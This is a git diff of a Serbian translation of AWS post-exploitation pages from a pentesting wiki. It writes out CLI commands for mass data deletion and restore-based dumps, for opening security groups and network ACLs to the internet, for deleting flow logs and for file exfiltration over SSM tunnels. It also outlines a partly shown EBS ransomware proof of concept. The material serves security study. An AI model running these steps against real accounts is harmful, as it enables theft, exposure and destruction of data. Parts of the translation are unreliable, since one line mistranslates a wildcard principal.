napadač bi takođe trebao dozvolu koja ažurira stavke (na primer dynamodb:UpdateItem) da doda TTL atribut i pokrene masovno brisanje. + +Prvo omogućite TTL na tabeli, navodeći ime atributa koji će se koristiti za određivanje vremena isteka: +```bash +aws dynamodb update-time-to-live \ +--table-name \ +--time-to-live-specification "Enabled=true, AttributeName=" +``` +Zatim ažurirajte stavke da dodate atribut TTL (epoch seconds) kako bi iste istekle i bile uklonjene: +```bash +aws dynamodb update-item \ +--table-name \ +--key '' \ +--update-expression "SET = :t" \ +--expression-attribute-values '{":t":{"N":""}}' +``` +### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` + +Napadač sa dozvolama dynamodb:RestoreTableFromAwsBackup ili dynamodb:RestoreTableToPointInTime može da kreira nove tabele vraćene iz backup-a ili iz point-in-time recovery (PITR) bez prepisivanja originalne tabele. Vraćena tabela sadrži kompletnu sliku podataka u izabranom trenutku, pa napadač može da je iskoristi za exfiltrate istorijskih informacija ili da dobije kompletan dump prethodnog stanja baze podataka. + +Restore a DynamoDB table from an on-demand backup: +```bash +aws dynamodb restore-table-from-backup \ +--target-table-name \ +--backup-arn +``` +Vratite DynamoDB tabelu na tačku u vremenu (kreirajte novu tabelu sa vraćenim stanjem): +```bash +aws dynamodb restore-table-to-point-in-time \ +--source-table-name \ +--target-table-name \ +--use-latest-restorable-time +```` -**Potential Impact:** Kontinuirano, gotovo u realnom vremenu exfiltration promena u tabeli na Kinesis stream koji kontroliše napadač bez direktnih operacija čitanja na tabeli. +**Potencijalni uticaj:** Kontinuirana, skoro u realnom vremenu exfiltration promena tabele u Kinesis stream pod kontrolom napadača, bez direktnih operacija čitanja tabele. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 58f8049db..af06fe925 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Post-eksploatacija {{#include ../../../../banners/hacktricks-training.md}} @@ -12,8 +12,8 @@ Za više informacija pogledajte: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** bez potrebe da se bilo šta instalira na samim instancama. Ovaj duplicirani saobraćaj se obično šalje nečemu poput sistema za detekciju upada u mreži (IDS) radi analize i nadzora.\ -Napadač bi ovo mogao zloupotrebiti da presretne sav saobraćaj i pribavi osetljive informacije iz njega: +VPC traffic mirroring **duplikuje dolazni i odlazni saobraćaj za EC2 instance unutar VPC-a** bez potrebe da se bilo šta instalira na samim instancama. Ovaj duplirani saobraćaj se obično šalje nečemu poput network intrusion detection system (IDS) za analizu i nadzor. +Napadač bi mogao da to zloupotrebi da presretne sav saobraćaj i izvuče osetljive informacije iz njega: Za više informacija pogledajte ovu stranicu: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe u njih (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da proverite šta sadrže je da **kreirate AMI i pokrenete novu instancu (čak i na svom nalogu) iz nje**: +Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da se proveri šta sadrže je da se **kreira AMI i pokrene nova instance (čak i na vašem nalogu) iz nje**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots su rezervne kopije volume-a**, koje obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te informacije.\ -Ako pronađete **volume without a snapshot** možete: **Create a snapshot** i izvršiti sledeće radnje ili jednostavno **mount it in an instance** unutar naloga: +**Snapshots su rezervne kopije volumena**, koje obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te informacije.\ +Ako nađete **volume bez snapshot-a** možete: **napraviti snapshot** i izvršiti sledeće radnje ili jednostavno **montirati ga na instancu** unutar naloga: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Ovo omogućava potpunu offline forenziku ili krađu podataka bez deljenja snapshot-a, ostavljajući instance networking netaknutim. +Izvezite EC2 AMI direktno u S3 koristeći `CreateStoreImageTask` da biste dobili raw disk image bez deljenja snapshot-a. Ovo omogućava potpunu offline forenziku ili krađu podataka dok se mreža instance ostavlja netaknutom. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ. +Prikačite io1/io2 Multi-Attach volume na drugu instancu i montirajte ga samo za čitanje da biste izvukli podatke u realnom vremenu bez snapshot-ova. Korisno kada ciljani volume već ima Multi-Attach omogućen u istoj AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Daje brze puteve lateralnog kretanja bez otvaranja javnih portova. +Kreirajte EC2 Instance Connect Endpoint, dozvolite ingress i ubacite privremene SSH ključeve da pristupite privatnim instancama preko upravljanog tunela. Omogućava brze lateralne puteve bez otvaranja javnih portova. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Omogućava zaobilaženje internih ACLs ili SG pravila vezanih za specifične adrese. +Prebacite sekundarnu privatnu IP adresu žrtvinog ENI-ja na ENI pod kontrolom napadača da biste se predstavljali kao poverljivi hostovi koji su dozvoljeni po IP adresi. Omogućava zaobilaženje internih ACL-ova ili SG pravila vezanih za određene adrese. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. +Ponovo povežite Elastic IP sa instance žrtve na napadača da presretnete dolazni saobraćaj ili inicirate odlazne konekcije koje izgledaju da dolaze sa poverljivih javnih IP-ova. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. +Ako pravilo security group-a referencira customer-managed prefix list, dodavanjem attacker CIDR-ova u tu listu se tiho proširuje pristup kroz svako zavisno SG pravilo bez izmene samog SG-a. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. +Kreirajte gateway ili interface VPC endpoints da povratite outbound pristup iz izolovanih subnet-a. Iskorišćavanje AWS-managed private links zaobilazi nedostajuće IGW/NAT kontrole za data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}} +### `ec2:AuthorizeSecurityGroupIngress` + +Napadač sa permisijom ec2:AuthorizeSecurityGroupIngress može dodavati inbound pravila u security groups (na primer, dozvoljavajući tcp:80 iz 0.0.0.0/0), čime izlaže interne servise javnom Internetu ili drugim neautorizovanim mrežama. +```bash +aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 +``` +# `ec2:ReplaceNetworkAclEntry` +Napadač sa ec2:ReplaceNetworkAclEntry (ili sličnim) dozvolama može izmeniti Network ACLs (NACLs) subnet-a da ih učini veoma permisivnim — na primer dozvoljavanjem 0.0.0.0/0 na kritičnim portovima — izlažući ceo opseg subnet-a Internetu ili neautorizovanim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju po instanci, NACLs se primenjuju na nivou subnet-a, tako da promena restriktivnog NACL-a može imati mnogo veći blast radius omogućavanjem pristupa mnogo većem broju hosts. +```bash +aws ec2 replace-network-acl-entry \ +--network-acl-id \ +--rule-number 100 \ +--protocol \ +--rule-action allow \ +--egress \ +--cidr-block 0.0.0.0/0 +``` +### `ec2:Delete*` + +Napadač koji ima dozvole ec2:Delete* i iam:Remove* može izbrisati kritične infrastrukturne resurse i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Ovo može izazvati trenutni prekid servisa, gubitak podataka i gubitak forenzičkih dokaza. + +Jedan primer je brisanje security group-a: + +aws ec2 delete-security-group \ +--group-id + ### VPC Flow Logs Cross-Account Exfiltration -Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. +Usmerite VPC Flow Logs u attacker-controlled S3 bucket da kontinuirano prikupljate mrežne metapodatke (source/destination, ports) izvan victim account-a za long-term reconnaissance. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -124,32 +150,32 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, on i dalje može **exfil via DNS**. -- **VPC Flow Logs will not record this**. +- **VPC Flow Logs neće to zabeležiti**. - Nemate pristup AWS DNS logovima. -- Onemogućite ovo postavljanjem "enableDnsSupport" na false sa: +- Onemogućite ovo podešavanjem "enableDnsSupport" na false pomoću: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Napadač može pozivati API endpoints naloga kojim on upravlja. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrated podatke u Cloudtrail logovima. ### Open Security Group -Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način: +Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova ovako: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Moguće je pokrenuti EC2 instancu i registrovati je da se koristi za pokretanje ECS instanci, a zatim ukrasti podatke sa ECS instanci. +Moguće je pokrenuti EC2 instancu i registrovati je da bi se koristila za pokretanje ECS instanci, a zatim ukrasti podatke tih ECS instanci. -Za [**više informacija pogledajte ovo**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Uklonite VPC flow logs +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -159,7 +185,7 @@ Zahtevane dozvole: - `ssm:StartSession` -Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivoting sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. +Pored izvršavanja komandi, SSM omogućava traffic tunneling koji se može zloupotrebiti za pivoting sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster. > Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -169,54 +195,54 @@ Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www. ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Preuzmite privremene AWS kredencijale za Bastion EC2 pomoću skripte [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Prebacite kredencijale na sopstvenu mašinu u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]` +3. Dobijte Bastion EC2 AWS temporary credentials pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script +4. Prebacite credentials na sopstvenu mašinu u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]` 5. Prijavite se na EKS kao Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Ažurirajte polje `server` u datoteci `$HOME/.kube/config` da pokazuje na `https://localhost` +6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da pokazuje na `https://localhost` 7. Kreirajte SSM tunel na sledeći način: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -Saobraćaj sa alata `kubectl` je sada prosleđen kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS clusteru sa svoje mašine pokretanjem: +8. Saobraćaj alata `kubectl` sada se prosleđuje kroz SSM tunnel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svoje mašine pokretanjem: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Imajte na umu da će SSL konekcije propasti osim ako ne postavite `--insecure-skip-tls-verify ` flag (ili njegov ekvivalent u K8s audit alatima). Pošto se saobraćaj tuneluje kroz siguran AWS SSM tunnel, zaštićeni ste od bilo koje vrste MitM napada. +Imajte na umu da će SSL konekcije propasti osim ako ne postavite zastavicu `--insecure-skip-tls-verify ` (ili njen ekvivalent u K8s audit alatima). Pošto se saobraćaj tuneluje kroz siguran AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada. -Na kraju, ova tehnika nije specifična samo za napad na privatne EKS klastere. Možete podesiti proizvoljne domene i portove kako biste se povezali sa bilo kojom drugom AWS uslugom ili prilagođenom aplikacijom. +Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete podesiti proizvoljne domene i portove da pivotujete na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju. --- #### Brzo lokalno ↔️ udaljeno Port Forward (AWS-StartPortForwardingSession) -Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar udaljenog hosta): +Ako vam je potrebno da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar remote host): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih ulaznih Security-Group pravila**. +Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih inbound Security-Group pravila**. Uobičajeni slučajevi upotrebe: * **File exfiltration** -1. Na instanci pokrenite kratak HTTP server koji pokazuje na direktorijum koji želite da exfiltrate: +1. Na instanci pokrenite jednostavan HTTP server koji pokazuje na direktorijum koji želite da eksfiltrujete: ```bash python3 -m http.server 8000 ``` -2. Sa vaše radne stanice preuzmite fajlove kroz SSM tunel: +2. Sa vaše radne stanice preuzmite fajlove preko SSM tunela: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Pristupanje unutrašnjim web aplikacijama (npr. Nessus)** +* **Pristup internim web aplikacijama (npr. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -224,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Savet: Kompresujte i enkriptujte dokaze pre exfiltrating-a tako da CloudTrail ne beleži clear-text content: +Savet: Sažmite i enkriptujte dokaze pre nego što ih eksfiltrirate, kako CloudTrail ne bi zabeležio clear-text sadržaj: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -233,19 +259,19 @@ Savet: Kompresujte i enkriptujte dokaze pre exfiltrating-a tako da CloudTrail ne ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Pretražite osetljive informacije u javnim i privatnim AMIs +### Pretraživanje osetljivih informacija u javnim i privatnim AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran da **pretražuje osetljive informacije unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instances iz ciljnih AMIs, montiranja njihovih volumes i skeniranja za potencijalne secrets ili osetljive podatke. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran da **pretražuje osetljive informacije unutar javnih i privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljnih AMIs, montiranja njihovih volumena i skeniranja potencijalnih secrets ili osetljivih podataka. -### Podelite EBS Snapshot +### Deljenje EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation beleškama. KMS treba preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa. +Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation beleškama. KMS bi trebalo preimenovati u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa. -Prvo iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer pustićemo da AWS upravlja podacima ključa, ali u realističnom scenariju malicious actor bi zadržao podatke ključa van AWS kontrole. Promenite key policy da dozvoli bilo kom AWS account Principal-u da koristi ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a policy pravilo koje dozvoljava potpuni pristup se zove 'Outside Encryption' +Prvo, iz 'attacker' AWS account-a, kreirajte customer managed key u KMS. Za ovaj primer pustiću da AWS upravlja podacima ključa, ali u realističnom scenariju zlonamerni akter bi zadržao podatke ključa van kontrole AWS-a. Promenite key policy da dozvoli da bilo koji AWS account Principal koristi ključ. Za ovu key policy, ime account-a je bilo 'AttackSim', a policy pravilo koje dozvoljava kompletan pristup zove se 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -337,7 +363,7 @@ Prvo iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj pri ] } ``` -The key policy правило мора имати омогућене следеће ставке да би се могло користити за encrypt EBS волумен: +Pravilo u key policy mora imati omogućeno sledeće da bi moglo da se koristi za enkriptovanje EBS volumena: - `kms:CreateGrant` - `kms:Decrypt` @@ -345,21 +371,21 @@ The key policy правило мора имати омогућене следе - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Sada, kada imamo javno dostupan key za korišćenje. Možemo koristiti 'žrtva' nalog koji ima neke EC2 instance pokrenute sa prikačenim nekriptovanim EBS volumenima. EBS volumeni na tom 'žrtva' nalogu su cilj enkripcije; ovaj napad se izvodi pod pretpostavkom kompromitovanja AWS naloga sa visokim privilegijama. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Slično S3 ransomware примеру. Овај напад ће направити копије attached EBS волумена користећи snapshots, искористити јавно доступан key из 'attacker' налога да encrypt нове EBS волумене, затим detach-овати оригиналне EBS волумене са EC2 инстанци и обрисати их, и на крају обрисати snapshot-ове који су коришћени за креирање ново encrypt-ованих EBS волумена. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Slično primeru S3 ransomware. Ovaj napad će napraviti kopije prikačenih EBS volumena koristeći snapshots, iskoristiti javno dostupan key iz 'napadač' naloga da enkriptuje nove EBS volumene, zatim otkačiti originalne EBS volumene sa EC2 instanci i izbrisati ih, i na kraju obrisati snapshots korišćene za kreiranje novo enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Као резултат, у налогу остају доступни само encrypted EBS волумени. +Rezultat je da u nalogu ostanu samo enkriptovani EBS volumeni. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Врeдно за напоменути: скрипта је зауставила EC2 инстанце да би detach-овала и обрисала оригиналне EBS волумене. Оригинални unencrypted волумени сада више не постоје. +Takođe, vredno je napomenuti da je skripta zaustavila EC2 instance da bi otkačila i izbrisala originalne EBS volumene. Originalni nekriptovani volumeni su sada nestali. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Zatim se vratite na key policy u 'attacker' nalogu i uklonite 'Outside Encryption' policy rule из key policy-а. +Zatim se vratite na key policy u 'napadač' nalogu i uklonite 'Outside Encryption' policy rule iz key policy. ```json { "Version": "2012-10-17", @@ -430,15 +456,15 @@ Zatim se vratite na key policy u 'attacker' nalogu i uklonite 'Outside Encryptio ] } ``` -Sačekajte trenutak da nova politika ključa postane aktivna. Zatim se vratite na 'victim' account i pokušajte da prikačite jedan od novo-enkriptovanih EBS volumes. Videćete da možete da prikačite volumen. +Sačekajte trenutak da novo postavljena politika ključa (key policy) propagira. Zatim se vratite na 'victim' nalog i pokušajte da prikačite jedan od novo enkriptovanih EBS volumena. Videćete da možete da prikačite volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Međutim, kada pokušate stvarno da pokrenete EC2 instance sa enkriptovanim EBS volumenom, on će samo neuspešno pokušati i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, jer prikačeni EBS volumen ne može biti dekriptovan pomoću ključa pošto politika ključa više ne dozvoljava to. +Međutim, kada pokušate zapravo da pokrenete EC2 instancu sa enkriptovanim EBS volumenom, to će propasti i instanca će preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, jer prikačeni EBS volumen ne može da se dešifruje pomoću ključa pošto politika ključa više to ne dozvoljava. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Ovo je python skript koji se koristi. Prima AWS creds za 'victim' account i javno dostupnu AWS ARN vrednost za ključ koji će biti korišćen za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumes prikačenih na SVE EC2 instance u ciljanom AWS accountu, zatim zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumes, obrisati ih, i na kraju obrisati sve snapshots korišćene tokom procesa. To će ostaviti samo enkriptovane EBS volumes u ciljanom 'victim' accountu. KORISTITE OVAJ SKRIPT SAMO U TEST OKRUŽENJU, ON JE DESTRUKTIVAN I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS key i vratiti ih u originalno stanje preko snapshots, ali želim da vas upozorim da je ovo, na kraju dana, ransomware PoC. +Ovo je python skripta koja se koristi. Preuzima AWS kredencijale za 'victim' nalog i javno dostupnu AWS ARN vrednost ključa koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena prikačenih na SVE EC2 instance u ciljanom AWS nalogu, zatim zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i na kraju obrisati sve snapshots korišćene tokom procesa. To će ostaviti samo enkriptovane EBS volumene u ciljanom 'victim' nalogu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i obnoviti ih u prvobitno stanje putem snapshots, ali samo želim da vas upozorim da je ovo na kraju dana ransomware PoC. ``` import boto3 import argparse @@ -555,8 +581,8 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## Literatura +## Izvori -- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – Kako prebaciti fajlove u AWS koristeći SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index 2e0458d96..7692cf0d1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -12,13 +12,13 @@ Za više informacija o pristupu IAM-u: ## Problem "Confused Deputy" -Ako dozvolite spoljnom nalogu (A) da pristupi određenoj ulozi u vašem nalogu, verovatno nećete imati nikakvu vidljivost ko tačno može pristupiti tom spoljnjem nalogu. To je problem, jer ako drugi spoljnji nalog (B) može pristupiti spoljnom nalogu (A), moguće je da će i B moći da pristupi vašem nalogu. +Ako dozvolite eksternom nalogu (A) da pristupi roli u vašem nalogu, verovatno nećete imati nikakvu vidljivost ko tačno može da pristupi tom eksternom nalogu. To je problem, jer ako drugi eksterni nalog (B) može da pristupi eksternom nalogu (A), moguće je da će i B moći da pristupi vašem nalogu. -Stoga, kada dozvoljavate spoljnom nalogu pristup ulozi u vašem nalogu, moguće je specificirati `ExternalId`. To je "tajni" string koji spoljni nalog (A) mora da navede da bi preuzeo ulogu u vašoj organizaciji. Pošto spoljni nalog B neće znati ovaj string, čak i ako ima pristup A, neće moći da pristupi vašoj ulozi. +Zato, kada dozvoljavate eksternom nalogu pristup roli u vašem nalogu, moguće je navesti `ExternalId`. To je "tajni" string koji eksterni nalog (A) mora da navede da bi preuzeo rolu u vašoj organizaciji. Pošto eksterni nalog B neće znati ovaj string, čak i ako ima pristup nalogu A, neće moći da pristupi vašoj roli.
-Međutim, imajte na umu da ovaj `ExternalId` "tajni" zapravo **nije tajna** — svako ko može da pročita IAM assume role policy moći će da ga vidi. Ali sve dok spoljni nalog A zna ovaj string, a spoljni nalog B ne zna, to sprečava da B zloupotrebi A da bi pristupio vašoj ulozi. +Međutim, imajte na umu da ovaj `ExternalId` "tajni" **nije tajna** — svako ko može da pročita IAM assume role policy će ga moći videti. Ali dokle god eksterni nalog A zna taj string, a eksterni nalog **B ga ne zna**, to **sprečava B da zloupotrebi A kako bi pristupio vašoj roli**. Primer: ```json @@ -39,7 +39,7 @@ Primer: } ``` > [!WARNING] -> Da bi napadač iskoristio confused deputy, mora nekako da otkrije da li principals trenutnog naloga mogu da impersonate roles u drugim nalozima. +> Da bi attacker iskoristio confused deputy, moraće na neki način da otkrije da li principals trenutnog account-a mogu da impersonate roles u drugim account-ima. ### Neočekivana poverenja @@ -51,7 +51,7 @@ Primer: "Principal": { "AWS": "*" } } ``` -Ova politika **dozvoljava svim AWS** da preuzmu ulogu. +Ova politika **dozvoljava svim AWS servisima** da preuzmu ulogu. #### Servis kao principal ```json @@ -62,9 +62,9 @@ Ova politika **dozvoljava svim AWS** da preuzmu ulogu. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Ova politika 